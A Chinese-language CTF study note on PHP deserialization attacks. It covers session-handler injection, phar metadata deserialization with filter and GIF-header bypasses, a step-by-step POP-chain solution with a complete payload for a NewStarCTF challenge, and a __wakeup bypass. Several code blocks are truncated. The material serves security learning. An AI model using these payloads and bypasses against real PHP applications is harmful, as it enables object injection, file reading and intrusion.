PHP反序列化
1 序列化:将变量(通常是数组和对象)转换为可保存或传输的字符串
2 反序列化:在适当的时候把这个字符串再转化成原来的变量(通常是数组和对象)使用。
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。反序列化本身不是漏洞,但如果反序列化的内容可控,就容易导致漏洞
3 常用函数
1 | __construct() //当对象创建时触发 |
这是一个反序列化结果: //O:4:”Test”:2:{s:4:”test”;s:2:”ok”;s:3:”var”;N;}
O代表这是一个对象,4代表对象名称的长度,2代表成员(对象属性)个数。 “Test”代表类的名称(也叫对象名)
大括号中分别是:属性名类型、长度、名称;属性值类型、长度、值。“test”代表属性名称
另附一份详情表:
1 | a - array 数组型 |
要点:
序列化只序列属性,不序列方法
- 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
- 我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
注意:1 反序列时需要注意私有的、被保护的属性被序列化的时候属性值会变成%00*%00属性名(受保护的)。
所以在构造a参数值的时候,注意序列化后的结构(可能%00类名%00属性名:私有的)
可以看到protected
属性序列化之后的属性名前会多出个\00*\00
或者写成%00*%00
可以看到private
属性序列化之后会在属性名前加上类名People
,而且在类名的两侧会加上\00
或者说%00
2 如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。
4 Session序列化问题
session的存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的
php
: 默认使用方式,格式: 键名|键值(经过序列化函数处理的值)php_serialize
: 格式 :经过序列化函数处理的值 (php > =5.5.4))php_binary
: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
php.ini中一些session配置
1 | session.save_path=“” --设置session的存储路径 |
当存储是php_serialize处理,然后调用时php去处理
如果这时候注入的数据是a=|O:4:"test":0:{}
那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根据解释,其中a:1:{s:1:"a";s:16:"
在经过php解析后是被看成键名,后面就是一个实例化test对象的注入。
可能有萌新不太懂,这里解释一下:a:1
是使用php_serialize进行序列话都会加上 s:1:”a”表示键名 a的序列化内容!
注意:4在ASCII表中对应的就是EOT
。根据php_binary的存储规则,突然发现ASCII的值为4的字符无法在网页上面显示。例如键名是name这种情况。
以一道例题来讲解一下session反序列化
5 Phar反序列化问题
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容
如何生成一个phar文件呢?举个例子
1 | <?php |
漏洞利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
受影响的函数
知道创宇测试后受影响的函数列表:
实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38
绕过方式
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://
和compress.zlib://
等绕过
1 | compress.bzip://phar:///test.phar/test.txt |
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.“”); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
6 POP链子类问题
以2022年9月的NewStarCTF week 2的Unseralize为例子
1 |
|
如上面所示,很明显就是一道php反序列化构造pop链的题,这类题首先我们需要做的就是观察我们的最终目的是要调用哪个函数,在此题中很明显有个关键语句: **echo file_get_contents(‘/flag’);**所以我们最终目的便是要触发Sec类里的__invoke魔术方法即可获取flag。
pop链构造题中最常见的入口就是__destruct(),此函数在对象销毁时立刻触发(可以直接理解为new该对象时直接触发该方法),所以我们第一步便是创建一个变量实现Start类:
1 | $res = new Start(); |
此时会触发__destruct()函数:
1 | public function __destruct() |
可以看到 echo 了 name 这个属性,所以此时若把name实例化成一个对象,且该对象含有__toString()时就可以触发该魔术方法,所以我们寻找含有该魔术方法的类即Sec类:
1 | lass Sec{ |
跟进**__toString(),可以发现调用了obj的check()方法,而__call()刚好是调用一个对象中无法利用的方法或者不存在的方法时触发,Easy**类中就有这个魔术方法
所以我们把obj实例化为一个Easy类的对象
因此第三步为:
1 | $res->name->obj = new Easy(); |
跟进**__call(),可以发现调用了clone,因此我们直接去找哪个类含有__clone()方法,可以发现eeee**类有此方法:
因此我们要把var这个变量实例化为一个eeee的对象
因此第四步为:
1 | $res->name->var = new eeee(); |
跟进**__clone(),可以发现调用了isset()方法,因此我们直接找哪个类含有__isset(),可以发现Start类有此方法且Start类中无法调用cmd属性(因为不存在),因此要把eeee对象中的obj属性实例化为一个Start**对象:
因此第五步为:
1 | $res->name->var->obj = new Start(); |
跟进**__isset(),可以发现直接将func属性当成函数调用刚好可以触发__invoke()方法,所以此时就到了pop链的最后一个部分,现在只需要将func属性实例化为Sec**对象即可触发
因此最后一步为:
1 | $res->name->var->obj->func = new Sec(); |
直接将文中需要利用的类全部copy下来,注意!!!:因为私有类属性无法在类外进行操作,所以我们要把属性全部改成公有属性即 public属性
1 | <?php |
得到payload为:
O:5:”Start”:2:{s:4:”name”;O:3:”Sec”:2:{s:3:”obj”;O:4:”Easy”:1:{s:3:”cla”;N;}s:3:”var”;O:4:”eeee”:1:{s:3:”obj”;O:5:”Start”:2: {s:4:”name”;N;s:4:”func”;O:3:”Sec”:2:{s:3:”obj”;N;s:3:”var”;N;}}}}s:4:”func”;N;}
最后post传参,pop=以上payload即可得到flag
7 PHP原生类反序列化利用
8 字符串逃逸
反序列化字符串溢出造成的攻击问题一般是因为对序列化之后的字符串进行了字符替换或者过滤等造成前后字符长度有差异;攻击者可以通过可控的属性传入payload造成对象注入:
- 对象的属性值可控
- 对序列化之后的字符串进行替换或者过滤造成前后长度有差异
情况1:过滤后字符变多
9 反序列化绕过小Trick
1 wakeup()函数绕过
版本:PHP5 < 5.6.25 || PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
1 | <?php |
如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为666
而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
输出结果为abc
2 绕过部分正则
3 16进制绕过字符的过滤
1 | O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";} |
1 | 例子:<?php |
参考链接
Y4神:[(1条消息) CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
末初师傅:(1条消息) 由浅入深理解PHP反序列化漏洞_末初mochu7的博客-CSDN博客
向两位佬学习!!!